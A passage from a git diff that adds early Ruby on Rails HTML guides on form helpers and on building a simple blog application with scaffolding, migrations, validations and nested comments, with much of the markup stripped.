To create that, we will use form_tag, label_tag, text_field_tag and submit_tag, respectively.
Besides text_field_tag and submit_tag, there is a similar helper for every form control in HTML.
+
+
+
+
+
+
For every form input, an ID attribute is generated from its name ("q" in our example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.
+
+
+
1.2. Multiple hashes in form helper attributes
+
By now we've seen that the form_tag helper accepts 2 arguments: the path for the action attribute and an options hash for parameters (like :method).
+
Identical to the link_to helper, the path argument doesn't have to be given as string or a named route. It can be a hash of URL parameters that Rails' routing mechanism will turn into a valid URL. Still, we cannot simply write this:
+
+
Example: A bad way to pass multiple hashes as method arguments
Here we wanted to pass two hashes, but the Ruby interpreter sees only one hash, so Rails will construct a URL that we didn't want. The solution is to delimit the first hash (or both hashes) with curly brackets:
+
+
Example: The correct way of passing multiple hashes as arguments
This is a common pitfall when using form helpers, since many of them accept multiple hashes. So in future, if a helper produces unexpected output, make sure that you have delimited the hash parameters properly.
+
+
+
+
+
+
Do not delimit the second hash without doing so with the first hash, otherwise your method invocation will result in an expecting tASSOC syntax error.
+
+
+
1.3. Checkboxes, radio buttons and other controls
+
Checkboxes are form controls that give the user a set of options they can enable or disable:
+
+
+
<%= check_box_tag(:pet_dog) %>
+ <%= label_tag(:pet_dog, "I own a dog") %>
+<%= check_box_tag(:pet_cat) %>
+ <%= label_tag(:pet_cat, "I own a cat") %>
+
+output:
+
+<input id="pet_dog" name="pet_dog" type="checkbox" value="1" />
+ <label for="pet_dog">I own a dog</label>
+<input id="pet_cat" name="pet_cat" type="checkbox" value="1" />
+ <label for="pet_cat">I own a cat</label>
+
+
Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (user can only pick one):
+
+
+
<%= radio_button_tag(:age, "child") %>
+ <%= label_tag(:age_child, "I am younger than 21") %>
+<%= radio_button_tag(:age, "adult") %>
+ <%= label_tag(:age_adult, "I'm over 21") %>
+
+output:
+
+<input id="age_child" name="age" type="radio" value="child" />
+ <label for="age_child">I am younger than 21</label>
+<input id="age_adult" name="age" type="radio" value="adult" />
+ <label for="age_adult">I'm over 21</label>
+
+
+
+
+
+
+
Always use labels for each checkbox and radio button. They associate text with a specific option and provide a larger clickable region.
+
+
+
Other form controls we might mention are the text area, password input and hidden input:
Hidden inputs are not shown to the user, but they hold data same as any textual input. Values inside them can be changed with JavaScript.
+
+
+
+
+
+
If you're using password input fields (for any purpose), you might want to prevent their values showing up in application logs by activating filter_parameter_logging(:password) in your ApplicationController.
+
+
+
1.4. How do forms with PUT or DELETE methods work?
+
Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PUT" and "DELETE" requests (besides "GET" and "POST"). Still, most browsers don't support methods other than "GET" and "POST" when it comes to submitting forms. How does this work, then?
+
Rails works around this issue by emulating other methods over POST with a hidden input named "_method" that is set to reflect the wanted method:
When parsing POSTed data, Rails will take into account the special "_method" parameter and act as if the HTTP method was the one specified inside it ("PUT" in this example).
+
+
2. Forms that deal with model attributes
+
+
When we're dealing with an actual model, we will use a different set of form helpers and have Rails take care of some details in the background. In the following examples we will handle an Article model. First, let us have the controller create one:
+
+
Example: articles_controller.rb
+
+
def new
+ @article = Article.new
+end
+
+
Now we switch to the view. The first thing to remember is that we should use form_for helper instead of form_tag, and that we should pass the model name and object as arguments:
A nice thing about f.text_field and other helper methods is that they will pre-fill the form control with the value read from the corresponding attribute in the model. For example, if we created the article instance by supplying an initial value for the title in the controller:
+
+
+
@article = Article.new(:title => "Rails makes forms easy")
+
+
… the corresponding input will be rendered with a value:
+
+
+
<input id="post_title" name="post[title]" size="30" type="text" value="Rails makes forms easy" />
+
+
2.1. Relying on record identification
+
In the previous chapter we handled the Article model. This model is directly available to users of our application and, following the best practices for developing with Rails, we should declare it a resource.
+
When dealing with RESTful resources, our calls to form_for can get significantly easier if we rely on record identification. In short, we can just pass the model instance and have Rails figure out model name and the rest:
+
+
+
## Creating a new article
+# long-style:
+form_for(:article, @article, :url => articles_path)
+# same thing, short-style (record identification gets used):
+form_for(@article)
+
+## Editing an existing article
+# long-style:
+form_for(:article, @article, :url => article_path(@article), :method => "put")
+# short-style:
+form_for(@article)
+
+
Notice how the short-style form_for invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking record.new_record?.
+
+
+
+
+
+
When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, :url and :method explicitly.
+
+
+
+
3. Making select boxes with ease
+
+
Select boxes in HTML require a significant amount of markup (one OPTION element for each option to choose from), therefore it makes the most sense for them to be dynamically generated from data stored in arrays or hashes.
Here we have a list of cities where their names are presented to the user, but internally we want to handle just their IDs so we keep them in value attributes. Let's see how Rails can help out here.
+
3.1. The select tag and options
+
The most generic helper is select_tag, which — as the name implies — simply generates the SELECT tag that encapsulates the options:
Sometimes, depending on our application's needs, we also wish a specific option to be pre-selected. The options_for_select helper supports this with an optional second argument:
So whenever Rails sees that the internal value of an option being generated matches this value, it will add the selected attribute to that option.
+
3.2. Select boxes for dealing with models
+
Until now we've covered how to make generic select boxes, but in most cases our form controls will be tied to a specific database model. So, to continue from our previous examples, let's assume that we have a "Person" model with a city_id attribute.
+
+
+
...
+
+
…
+
+
+
+
+
+
diff --git a/vendor/rails/railties/doc/guides/html/getting_started_with_rails.html b/vendor/rails/railties/doc/guides/html/getting_started_with_rails.html
new file mode 100644
index 00000000..5111d0c6
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/html/getting_started_with_rails.html
@@ -0,0 +1,2066 @@
+
+
+
+
+ Getting Started With Rails
+
+
+
+
+
+
+
+
+
+
+
+
+
Ruby on Rails
+
Sustainable productivity for web-application development
This guide covers getting up and running with Ruby on Rails. After reading it, you should be familiar with:
+
+
+
+Installing Rails, creating a new Rails application, and connecting your application to a database
+
+
+
+
+The general layout of a Rails application
+
+
+
+
+The basic principles of MVC (Model, View Controller) and RESTful design
+
+
+
+
+How to quickly generate the starting pieces of a Rails application.
+
+
+
+
+
+
1. This Guide Assumes
+
+
This guide is designed for beginners who want to get started with a Rails application from scratch. It does not assume that you have any prior experience with Rails. However, to get the most out of it, you need to have some prerequisites installed:
It is highly recommended that you familiarize yourself with Ruby before diving into Rails. You will find it much easier to follow what's going on with a Rails application if you understand basic Ruby syntax. Rails isn't going to magically revolutionize the way you write web applications if you have no experience with the language it uses. There are some good free resources on the net for learning Ruby, including:
Rails is a web development framework written in the Ruby language. It is designed to make programming web applications easier by making several assumptions about what every developer needs to get started. It allows you to write less code while accomplishing more than many other languages and frameworks. Longtime Rails developers also report that it makes web application development more fun.
+
Rails is opinionated software. That is, it assumes that there is a best way to do things, and it's designed to encourage that best way - and in some cases discourage alternatives. If you learn "The Rails Way" you'll probably discover a tremendous increase in productivity. If you persist in bringing old habits from other languages to your Rails development, and trying to use patterns you learned elsewhere, you may have a less happy experience.
+
The Rails philosophy includes several guiding principles:
+
+
+
+DRY - "Don't Repeat Yourself" - suggests that writing the same code over and over again is a bad thing.
+
+
+
+
+Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to do it, rather than letting you tweak every little thing through endless configuration files.
+
+
+
+
+REST is the best pattern for web applications - organizing your application around resources and standard HTTP verbs is the fastest way to go.
+
+
+
+
2.1. The MVC Architecture
+
Rails is organized around the Model, View, Controller architecture, usually just called MVC. MVC benefits include:
+
+
+
+Isolation of business logic from the user interface
+
+
+
+
+Ease of keeping code DRY
+
+
+
+
+Making it clear where different types of code belong for easier maintenance
+
+
+
+
2.1.1. Models
+
A model represents the information (data) of the application and the rules to manipulate that data. In the case of Rails, models are primarily used for managing the rules of interaction with a corresponding database table. In most cases, one table in your database will correspond to one model in your application. The bulk of your application's business logic will be concentrated in the models.
+
2.1.2. Views
+
Views represent the user interface of your application. In Rails, views are often HTML files with embedded Ruby code that performs tasks related solely to the presentation of the data. Views handle the job of providing data to the web browser or other tool that is used to make requests from your application.
+
2.1.3. Controllers
+
Controllers provide the "glue" between models and views. In Rails, controllers are responsible for processing the incoming requests from the web browser, interrogating the models for data, and passing that data on to the views for presentation.
+
2.2. The Components of Rails
+
Rails provides a full stack of components for creating web applications, including:
+
+
+
+Action Controller
+
+
+
+
+Action View
+
+
+
+
+Active Record
+
+
+
+
+Action Mailer
+
+
+
+
+Active Resource
+
+
+
+
+Railties
+
+
+
+
+Active Support
+
+
+
+
2.2.1. Action Controller
+
Action Controller is the component that manages the controllers in a Rails application. The Action Controller framework processes incoming requests to a Rails application, extracts parameters, and dispatches them to the intended action. Services provided by Action Controller include session management, template rendering, and redirect management.
+
2.2.2. Action View
+
Action View manages the views of your Rails application. It can create both HTML and XML output by default. Action View manages rendering templates, including nested and partial templates, and includes built-in AJAX support.
+
2.2.3. Active Record
+
Active Record is the base for the models in a Rails application. It provides database independence, basic CRUD functionality, advanced finding capabilities, and the ability to relate models to one another, among other services.
+
2.2.4. Action Mailer
+
Action Mailer is a framework for building e-mail services. You can use Action Mailer to send emails based on flexible templates, or to receive and process incoming email.
+
2.2.5. Active Resource
+
Active Resource provides a framework for managing the connection between business objects an RESTful web services. It implements a way to map web-based resources to local objects with CRUD semantics.
+
2.2.6. Railties
+
Railties is the core Rails code that builds new Rails applications and glues the various frameworks together in any Rails application.
+
2.2.7. Active Support
+
Active Support is an extensive collection of utility classes and standard Ruby library extensions that are used in the Rails, both by the core code and by your applications.
+
2.3. REST
+
The foundation of the RESTful architecture is generally considered to be Roy Fielding's doctoral thesis, Architectural Styles and the Design of Network-based Software Architectures. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes:
+
+
+
+Using resource identifiers (which, for the purposes of discussion, you can think of as URLs) to represent resources
+
+
+
+
+Transferring representations of the state of that resource between system components.
+
+
+
+
For example, to a Rails application a request such as this:
+
DELETE /photos/17
+
would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities.
+
If you’d like more details on REST as an architectural style, these resources are more approachable than Fielding’s thesis:
If you follow this guide, you'll create a Rails project called blog, a (very) simple weblog. Before you can start building the application, you need to make sure that you have Rails itself installed.
+
3.1. Installing Rails
+
In most cases, the easiest way to install Rails is to take advantage of RubyGems:
+
+
+
$ gem install rails
+
+
+
+
+
+
+
There are some special circumstances in which you might want to use an alternate installation strategy:
+
+
+
+
+
+If you're working on Windows, you may find it easier to install Instant Rails. Be aware, though, that Instant Rails releases tend to lag seriously behind the actual Rails version. Also, you will find that Rails development on Windows is overall less pleasant than on other operating systems. If at all possible, we suggest that you install a Linux virtual machine and use that for Rails development, instead of using Windows.
+
+
+
+
+If you want to keep up with cutting-edge changes to Rails, you'll want to clone the Rails source code from github. This is not recommended as an option for beginners, though.
+
+
+
+
3.2. Creating the Blog Application
+
Open a terminal, navigate to a folder where you have rights to create files, and type:
+
+
+
$ rails blog
+
+
This will create a Rails application that uses a SQLite database for data storage. If you prefer to use MySQL, run this command instead:
+
+
+
$ rails blog -d mysql
+
+
And if you're using PostgreSQL for data storage, run this command:
+
+
+
$ rails blog -d postgresql
+
+
In any case, Rails will create a folder in your working directory called blog. Open up that folder and explore its contents. Most of the work in this tutorial will happen in the app/ folder, but here's a basic rundown on the function of each folder that Rails creates in a new application by default:
+
+
+
+
+
+
+
+ File/Folder
+
+
+ Purpose
+
+
+
+
+
+
+ README
+
+
+ This is a brief instruction manual for your application. Use it to tell others what your application does, how to set it up, and so on.
+
+
+
+
+ Rakefile
+
+
+ This file contains batch jobs that can be run from the terminal.
+
+
+
+
+ app/
+
+
+ Contains the controllers, models, and views for your application. You'll focus on this folder for the remainder of this guide.
+
+
+
+
+ config/
+
+
+ Configure your application's runtime rules, routes, database, and more.
+
+
+
+
+ db/
+
+
+ Shows your current database schema, as well as the database migrations. You'll learn about migrations shortly.
+
+
+
+
+ doc/
+
+
+ In-depth documentation for your application.
+
+
+
+
+ lib/
+
+
+ Extended modules for your application (not covered in this guide).
+
+
+
+
+ log/
+
+
+ Application log files.
+
+
+
+
+ public/
+
+
+ The only folder seen to the world as-is. This is where your images, javascript, stylesheets (CSS), and other static files go.
+
+
+
+
+ script/
+
+
+ Scripts provided by Rails to do recurring tasks, such as benchmarking, plugin installation, and starting the console or the web server.
+
+ A place for third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality.
+
+
+
+
+
+
3.3. Configuring a Database
+
Just about every Rails application will interact with a database. The database to use is specified in a configuration file, config/database.yml.
+If you open this file in a new Rails application, you'll see a default database configuration using SQLite. The file contains sections for three different environments in which Rails can run by default:
+
+
+
+The development environment is used on your development computer as you interact manually with the application
+
+
+
+
+The test environment is used to run automated tests
+
+
+
+
+The production environment is used when you deploy your application for the world to use.
+
+
+
+
3.3.1. Configuring a SQLite Database
+
Rails comes with built-in support for SQLite, which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using a SQLite database when creating a new project, but you can always change it later.
+
Here's the section of the default configuration file with connection information for the development environment:
If you don't have any database set up, SQLite is the easiest to get installed. If you're on OS X 10.5 or greater on a Mac, you already have it. Otherwise, you can install it using RubyGems:
+
If you're not running OS X 10.5 or greater, you'll need to install the SQLite gem. Similar to installing Rails you just need to run:
+
+
+
$ gem install sqlite3-ruby
+
+
3.3.2. Configuring a MySQL Database
+
If you choose to use MySQL, your config/database.yml will look a little different. Here's the development section:
If your development computer's MySQL installation includes a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the development section as appropriate.
+
3.3.3. Configuring a PostgreSQL Database
+
If you choose to use PostgreSQL, your config/database.yml will be customized to use PostgreSQL databases:
Change the username and password in the development section as appropriate.
+
+
4. Hello, Rails!
+
+
One of the traditional places to start with a new language is by getting some text up on screen quickly. To do that in Rails, you need to create at minimum a controller and a view. Fortunately, you can do that in a single command. Enter this command in your terminal:
+
+
+
$ script/generate controller home index
+
+
+
+
+
+
+
If you're on Windows, or your Ruby is set up in some non-standard fashion, you may need to explicitly pass Rails script commands to Ruby: ruby script/generate controller home index.
+
+
+
Rails will create several files for you, including app/views/home/index.html.erb. This is the template that will be used to display the results of the index action (method) in the home controller. Open this file in your text editor and edit it to contain a single line of code:
+
+
+
<h1>Hello, Rails!</h1>
+
+
4.1. Starting up the Web Server
+
You actually have a functional Rails application already - after running only two commands! To see it, you need to start a web server on your development machine. You can do this by running another command:
+
+
+
$ script/server
+
+
This will fire up the lightweight Webrick web server by default. To see your application in action, open a browser window and navigate to http://localhost:3000. You should see Rails' default information page:
+
+
+
+
+
+
+
+
+
To stop the web server, hit Ctrl+C in the terminal window where it's running. In development mode, Rails does not generally require you to stop the server; changes you make in files will be automatically picked up by the server.
+
+
+
The "Welcome Aboard" page is the smoke test for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. To view the page you just created, navigate to http://localhost:3000/home/index.
+
4.2. Setting the Application Home Page
+
You'd probably like to replace the "Welcome Aboard" page with your own application's home page. The first step to doing this is to delete the default page from your application:
+
+
+
$ rm public/index.html
+
+
Now, you have to tell Rails where your actual home page is located. Open the file config/routes.rb in your editor. This is your application's, routing file, which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. At the bottom of the file you'll see the default routes:
The default routes handle simple requests such as /home/index: Rails translates that into a call to the index action in the home controller. As another example, /posts/edit/1 would run the edit action in the posts controller with an id of 1.
+
To hook up your home page, you need to add another line to the routing file, above the default routes:
+
+
+
map.root :controller =>"home"
+
+
This line illustrates one tiny bit of the "convention over configuration" approach: if you don't specify an action, Rails assumes the index action.
+
Now if you navigate to http://localhost:3000 in your browser, you'll see the home/index view.
5. Getting Up and Running Quickly With Scaffolding
+
+
Rails scaffolding is a quick way to generate some of the major pieces of an application. If you want to create the models, views, and controllers for a new resource in a single operation, scaffolding is the tool for the job.
+
+
6. Creating a Resource
+
+
In the case of the blog application, you can start by generating a scaffolded Post resource: this will represent a single blog posting. To do this, enter this command in your terminal:
+
+
+
$ script/generate scaffold Post name:string title:string content:text
+
+
+
+
+
+
+
While scaffolding will get you up and running quickly, the "one size fits all" code that it generates is unlikely to be a perfect fit for your application. In most cases, you'll need to customize the generated code. Many experienced Rails developers avoid scaffolding entirely, preferring to write all or most of their source code from scratch.
+
+
+
The scaffold generator will build 13 files in your application, along with some folders, and edit one more. Here's a quick overview of what it creates:
+
+
+
+
+
+
+
+ File
+
+
+ Purpose
+
+
+
+
+
+
+ app/models/post.rb
+
+
+ The Post model
+
+
+
+
+ db/migrate/20081013124235_create_posts.rb
+
+
+ Migration to create the posts table in your database (your name will include a different timestamp)
+
+
+
+
+ app/views/posts/index.html.erb
+
+
+ A view to display an index of all posts
+
+
+
+
+ app/views/posts/show.html.erb
+
+
+ A view to display a single post
+
+
+
+
+ app/views/posts/new.html.erb
+
+
+ A view to create a new post
+
+
+
+
+ app/views/posts/edit.html.erb
+
+
+ A view to edit an existing post
+
+
+
+
+ app/views/layouts/posts.html.erb
+
+
+ A view to control the overall look and feel of the other posts views
+
+
+
+
+ public/stylesheets/scaffold.css
+
+
+ Cascading style sheet to make the scaffolded views look better
+
+
+
+
+ app/controllers/posts_controller.rb
+
+
+ The Posts controller
+
+
+
+
+ test/functional/posts_controller_test.rb
+
+
+ Functional testing harness for the posts controller
+
+
+
+
+ app/helpers/posts_helper.rb
+
+
+ Helper functions to be used from the posts views
+
+
+
+
+ config/routes.rb
+
+
+ Edited to include routing information for posts
+
+
+
+
+ test/fixtures/posts.yml
+
+
+ Dummy posts for use in testing
+
+
+
+
+ test/unit/post_test.rb
+
+
+ Unit testing harness for the posts model
+
+
+
+
+
+
6.1. Running a Migration
+
One of the products of the script/generate scaffold command is a database migration. Migrations are Ruby classes that are designed to make it simple to create and modify database tables. Rails uses rake commands to run migrations, and it's possible to undo a migration after it's been applied to your database. Migration filenames include a timestamp to ensure that they're processed in the order that they were created.
+
If you look in the db/migrate/20081013124235_create_posts.rb file (remember, yours will have a slightly different name), here's what you'll find:
+
+
+
class CreatePosts < ActiveRecord::Migration
+ defself.up
+ create_table :posts do|t|
+ t.string :name
+ t.string :title
+ t.text :content
+
+ t.timestamps
+ end
+ end
+
+ defself.down
+ drop_table :posts
+ end
+end
+
+
If you were to translate that into words, it says something like: when this migration is run, create a table named posts with two string columns (name and title) and a text column (content), and generate timestamp fields to track record creation and updating. You can learn the detailed syntax for migrations in the Rails Database Migrations guide.
+
At this point, you need to do two things: create the database and run the migration. You can use rake commands at the terminal for both of those tasks:
+
+
+
$ rake db:create
+$ rake db:migrate
+
+
+
+
+
+
+
Because you're working in the development environment by default, both of these commands will apply to the database defined in the development section of your config/database.yml file.
+
+
+
6.2. Adding a Link
+
To hook the posts up to the home page you've already created, you can add a link to the home page. Open /app/views/home/index.html.erb and modify it as follows:
+
+
+
<h1>Hello, Rails!</h1>
+
+<%= link_to "My Blog", posts_path %>
+
+
The link_to method is one of Rails' built-in view helpers. It creates a hyperlink based on text to display and where to go - in this case, to the path for posts.
+
6.3. Working with Posts in the Browser
+
Now you're ready to start working with posts. To do that, navigate to http://localhost:3000 and then click the "My Blog" link:
+
+
+
+
This is the result of Rails rendering the index view of your posts. There aren't currently any posts in the database, but if you click the New Post link you can create one. After that, you'll find that you can edit posts, look at their details, or destroy them. All of the logic and HTML to handle this was built by the single script/generate scaffold command.
+
+
+
+
+
+
In development mode (which is what you're working in by default), Rails reloads your application with every browser request, so there's no need to stop and restart the web server.
+
+
+
Congratulations, you're riding the rails! Now it's time to see how it all works.
+
6.4. The Model
+
The model file, app/models/post.rb is about as simple as it can get:
+
+
+
class Post < ActiveRecord::Base
+end
+
+
There isn't much to this file - but note that the Post class inherits from ActiveRecord::Base. Active Record supplies a great deal of functionality to your Rails models for free, including basic database CRUD (Create, Read, Update, Destroy) operations, data validation, as well as sophisticated search support and the ability to relate multiple models to one another.
+
6.5. Adding Some Validation
+
Rails includes methods to help you validate the data that you send to models. Open the app/models/post.rb file and edit it:
+
+
+
class Post < ActiveRecord::Base
+ validates_presence_of :name,:title
+ validates_length_of :title,:minimum =>5
+end
+
+
These changes will ensure that all posts have a name and a title, and that the title is at least five characters long. Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their format, and the existence of associated objects.
+
6.6. Using the Console
+
To see your validations in action, you can use the console. The console is a command-line tool that lets you execute Ruby code in the context of your application:
+
+
+
$ script/console
+
+
After the console loads, you can use it to work with your application's models:
+
+
+
>> p = Post.create(:content =>"A new post")
+=>#<Post id: nil, name: nil, title: nil, content: "A new post",
+created_at: nil, updated_at: nil>
+>> p.save
+=>false
+>> p.errors
+=>#<ActiveRecord::Errors:0x23bcf0c @base=#<Post id: nil, name: nil,
+title: nil, content:"A new post", created_at: nil, updated_at: nil>,
+@errors={"name"=>["can't be blank"],"title"=>["can't be blank",
+"is too short (minimum is 5 characters)"]}>
+
+
This code shows creating a new Post instance, attempting to save it and getting false for a return value (indicating that the save failed), and inspecting the errors of the post.
+
+
+
+
+
+
Unlike the development web server, the console does not automatically load your code afresh for each line. If you make changes, type reload! at the console prompt to load them.
+
+
+
6.7. Listing All Posts
+
The easiest place to start looking at functionality is with the code that lists all posts. Open the file app/controllers/posts_controller.rb and look at the index action:
This code sets the @posts instance variable to an array of all posts in the database. Post.find(:all) or Post.all calls the Post model to return all of the posts that are currently in the database, with no limiting conditions.
+
+
+
+
+
+
For more information on finding records with Active Record, see Active Record Finders.
+
+
+
The respond_to block handles both HTML and XML calls to this action. If you browse to http://localhost:3000/posts.xml, you'll see all of the posts in XML format. The HTML format looks for a view in app/views/posts/ with a name that corresponds to the action name. Rails makes all of the instance variables from the action available to the view. Here's app/view/posts/index.html.erb:
This view iterates over the contents of the @posts array to display content and links. A few things to note in the view:
+
+
+
+h is a Rails helper method to sanitize displayed data, preventing cross-site scripting attacks
+
+
+
+
+link_to builds a hyperlink to a particular destination
+
+
+
+
+edit_post_path is a helper that Rails provides as part of RESTful routing. You’ll see a variety of these helpers for the different actions that the controller includes.
+
The view is only part of the story of how HTML is displayed in your web browser. Rails also has the concept of layouts, which are containers for views. When Rails renders a view to the browser, it does so by putting the view's HTML into a layout's HTML. The script/generate scaffold command automatically created a default layout, app/views/layouts/posts.html.erb, for the posts. Open this layout in your editor and modify the body tag:
Now when you refresh the /posts page, you'll see a gray background to the page. This same gray background will be used throughout all the views for posts.
+
6.9. Creating New Posts
+
Creating a new post involves two actions. The first is the new action, which instantiates an empty Post object:
The form_for block is used to create an HTML form. Within this block, you have access to methods to build various controls on the form. For example, f.text_field :name tells Rails to create a text input on the form, and to hook it up to the name attribute of the instance being displayed. You can only use these methods with attributes of the model that the form is based on (in this case name, title, and content). Rails uses form_for in preference to having your write raw HTML because the code is more succinct, and because it explicitly ties the form to a particular model instance.
+
+
+
+
+
+
If you need to create an HTML form that displays arbitrary fields, not tied to a model, you should use the form_tag method, which provides shortcuts for building forms that are not necessarily tied to a model instance.
+
+
+
When the user clicks the Create button on this form, the browser will send information back to the create method of the controller (Rails knows to call the create method because the form is sent with an HTTP POST request; that's one of the conventions that I mentioned earlier):
The create action instantiates a new Post object from the data supplied by the user on the form, which Rails makes available in the params hash. After saving the new post, it uses flash[:notice] to create an informational message for the user, and redirects to the show action for the post. If there's any problem, the create action just shows the new view a second time, with any error messages.
+
Rails provides the flash hash (usually just called the Flash) so that messages can be carried over to another action, providing the user with useful information on the status of their request. In the case of create, the user never actually sees any page rendered during the Post creation process, because it immediately redirects to the new Post as soon Rails saves the record. The Flash carries over a message to the next action, so that when the user is redirected back to the show action, they are presented with a message saying "Post was successfully created."
+
6.10. Showing an Individual Post
+
When you click the show link for a post on the index page, it will bring you to a URL like http://localhost:3000/posts/1. Rails interprets this as a call to the show action for the resource, and passes in 1 as the :id parameter. Here's the show action:
The show action uses Post.find to search for a single record in the database by its id value. After finding the record, Rails displays it by using show.html.erb:
Like creating a new post, editing a post is a two-part process. The first step is a request to edit_post_path(@post) with a particular post. This calls the edit action in the controller:
+
+
+
def edit
+ @post= Post.find(params[:id])
+end
+
+
After finding the requested post, Rails uses the edit.html.erb view to display it:
In the update action, Rails first uses the :id parameter passed back from the edit view to locate the database record that's being edited. The update_attributes call then takes the rest of the parameters from the request and applies them to this record. If all goes well, the user is redirected to the post's show view. If there are any problems, it's back to edit to correct them.
+
+
+
+
+
+
Sharp-eyed readers will have noticed that the form_for declaration is identical for the new and edit views. Rails generates different code for the two forms because it's smart enough to notice that in the one case it's being passed a new record that has never been saved, and in the other case an existing record that has already been saved to the database. In a production Rails application, you would ordinarily eliminate this duplication by moving identical code to a partial template, which you could then include in both parent templates. But the scaffold generator tries not to make too many assumptions, and generates code that’s easy to modify if you want different forms for create and edit.
+
+
+
6.12. Destroying a Post
+
Finally, clicking one of the destroy links sends the associated id to the destroy action:
The destroy method of an Active Record model instance removes the corresponding record from the database. After that's done, there isn't any record to display, so Rails redirects the user's browser to the index view for the model.
+
+
7. DRYing up the Code
+
+
At this point, it’s worth looking at some of the tools that Rails provides to eliminate duplication in your code. In particular, you can use partials to clean up duplication in views and filters to help with duplication in controllers.
+
7.1. Using Partials to Eliminate View Duplication
+
As you saw earlier, the scaffold-generated views for the new and edit actions are largely identical. You can pull the shared code out into a partial template. This requires editing the new and edit views, and adding a new template:
Now, when Rails renders the new or edit view, it will insert the _form partial at the indicated point. Note the naming convention for partials: if you refer to a partial named form inside of a view, the corresponding file is _form.html.erb, with a leading underscore.
7.2. Using Filters to Eliminate Controller Duplication
+
At this point, if you look at the controller for posts, you’ll see some duplication:
+
+
+
class PostsController < ApplicationController
+ # ...
+ def show
+ @post= Post.find(params[:id])
+ # ...
+ end
+
+ def edit
+ @post= Post.find(params[:id])
+ end
+
+ def update
+ @post= Post.find(params[:id])
+ # ...
+ end
+
+ def destroy
+ @post= Post.find(params[:id])
+ # ...
+ end
+end
+
+
Four instances of the exact same line of code doesn’t seem very DRY. Rails provides filters as a way to address this sort of repeated code. In this case, you can DRY things up by using a before_filter:
+
+
+
class PostsController < ApplicationController
+ before_filter :find_post,:only =>[:show,:edit,:update,:destroy]
+ # ...
+ def show
+ # ...
+ end
+
+ def edit
+ end
+
+ def update
+ # ...
+ end
+
+ def destroy
+ # ...
+ end
+
+ private
+ def find_post
+ @post= Post.find(params[:id])
+ end
+end
+
+
Rails runs before filters before any action in the controller. You can use the :only clause to limit a before filter to only certain actions, or an :except clause to specifically skip a before filter for certain actions. Rails also allows you to define after filters that run after processing an action, as well as around filters that surround the processing of actions. Filters can also be defined in external classes to make it easy to share them between controllers.
Now that you've seen what's in a model built with scaffolding, it's time to add a second model to the application. The second model will handle comments on blog posts.
+
8.1. Generating a Model
+
Models in Rails use a singular name, and their corresponding database tables use a plural name. For the model to hold comments, the convention is to use the name Comment. Even if you don't want to use the entire apparatus set up by scaffolding, most Rails developers still use generators to make things like models and controllers. To create the new model, run this command in your terminal:
+
+
+
$ script/generate model Comment commenter:string body:text post:references
+
+
This command will generate four files:
+
+
+
+app/models/comment.rb - The model
+
+
+
+
++db/migrate/20081013214407_create_comments.rb - The migration
+
+
+
+
+test/unit/comment_test.rb and test/fixtures/comments.yml - The test harness.
+
+
+
+
First, take a look at comment.rb:
+
+
+
class Comment < ActiveRecord::Base
+ belongs_to :post
+end
+
+
This is very similar to the post.rb model that you saw earlier. The difference is the line belongs_to :post, which sets up an Active Record association. You'll learn a little about associations in the next section of this guide.
+
In addition to the model, Rails has also made a migration to create the corresponding database table:
+
+
+
class CreateComments < ActiveRecord::Migration
+ defself.up
+ create_table :comments do|t|
+ t.string :commenter
+ t.text :body
+ t.references :post
+
+ t.timestamps
+ end
+ end
+
+ defself.down
+ drop_table :comments
+ end
+end
+
+
The t.references line sets up a foreign key column for the association between the two models. Go ahead and run the migration:
+
+
+
$ rake db:migrate
+
+
Rails is smart enough to only execute the migrations that have not already been run against this particular database.
+
8.2. Associating Models
+
Active Record associations let you easily declare the relationship between two models. In the case of comments and posts, you could write out the relationships this way:
+
+
+
+Each comment belongs to one post
+
+
+
+
+One post can have many comments
+
+
+
+
In fact, this is very close to the syntax that Rails uses to declare this association. You've already seen the line of code inside the Comment model that makes each comment belong to a Post:
+
+
+
class Comment < ActiveRecord::Base
+ belongs_to :post
+end
+
+
You'll need to edit the post.rb file to add the other side of the association:
+
+
+
class Post < ActiveRecord::Base
+ validates_presence_of :name,:title
+ validates_length_of :title,:minimum =>5
+ has_many :comments
+end
+
+
These two declarations enable a good bit of automatic behavior. For example, if you have an instance variable @post containing a post, you can retrieve all the comments belonging to that post as the array @post.comments.
Routes are entries in the config/routes.rb file that tell Rails how to match incoming HTTP requests to controller actions. Open up that file and find the existing line referring to posts. Then edit it as follows:
This creates comments as a nested resource within posts. This is another part of capturing the hierarchical relationship that exists between posts and comments.
With the model in hand, you can turn your attention to creating a matching controller. Again, there's a generator for this:
+
+
+
$ script/generate controller Comments index show new edit
+
+
This creates seven files:
+
+
+
+app/controllers/comments_controller.rb - The controller
+
+
+
+
+app/helpers/comments_helper.rb - A view helper file
+
+
+
+
+app/views/comments/index.html.erb - The view for the index action
+
+
+
+
+app/views/comments/show.html.erb - The view for the show action
+
+
+
+
+app/views/comments/new.html.erb - The view for the new action
+
+
+
+
+app/views/comments/edit.html.erb - The view for the edit action
+
+
+
+
+test/functional/comments_controller_test.rb - The functional tests for the controller
+
+
+
+
The controller will be generated with empty methods for each action that you specified in the call to script/generate controller:
+
+
+
class CommentsController < ApplicationController
+ def index
+ end
+
+ def show
+ end
+
+ def new
+ end
+
+ def edit
+ end
+
+end
+
+
You'll need to flesh this out with code to actually process requests appropriately in each method. Here's a version that (for simplicity's sake) only responds to requests that require HTML:
+
+
+
class CommentsController < ApplicationController
+ def index
